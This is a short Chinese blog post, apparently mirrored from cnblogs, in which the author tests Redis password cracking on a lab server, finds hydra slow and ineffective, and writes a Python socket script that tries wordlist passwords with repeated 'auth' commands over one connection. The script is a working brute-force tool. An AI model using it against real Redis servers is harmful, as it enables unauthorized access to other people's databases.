zoukankan      html  css  js  c++  java
  • redis密码破解(python使用socket模块)

             偶尔看到一篇讲述redis未授权访问漏洞的,提到用hydra进行redis密码的破解。测试了下,发现安装的hydra竟然无法破解出密码,且速度很慢(hydra版本 v8.2-dev)。

        如上图,用一个for循环生成个随机密码测试文件,将正确密码写入。

    如上图,hydra竟然没破解出密码,不知道是不是bug,而且一分钟才运行差不多10000次密码猜测。而redis的配置文件里面提到redis能支持每秒150K的密码猜测。

     于是想用Python写个破解脚本。ipython下用socket模块测试了下,建立tcp连接后,auth认证成功,服务器会返回+ok,错误密码会返回“ERR,invalid password”:

    代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-9-22 下午11:03
    # @Site    : 
    # @File    : redisCrack.py
    # @Software: PyCharm
    
    import socket
    import sys
    
    redisCrackFile="redisPass.txt"   #破解密码文件
    
    ip="192.168.36.3"
    port=6379
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,port))      #建立tcp连接
    with open(redisCrackFile,"r") as f:
        for i in f:
            s.send("auth %s 
    " %(i))    #在一个tcp连接里多次使用auth命令猜测
            authResult=s.recv(1024)
            if '+OK' in authResult:
                print "the redis pass is:%s" %i
                s.close()
                sys.exit(0)

    测试如下:

  • 相关阅读:
    css3 transform语法
    自我规范(待增加)
    对于闭包的自我理解
    canvas教程没讲的细节
    react新手教程井字棋游戏
    div自动填满剩余部分(等高布局)
    记录自己以后可能会使用到的想法
    Python__list 常用操作
    Python基础语法(四)-- 函数
    Python基础语法(三)-- 循环
  • 原文地址:https://www.cnblogs.com/360linux/p/13062072.html
Copyright © 2011-2022 走看看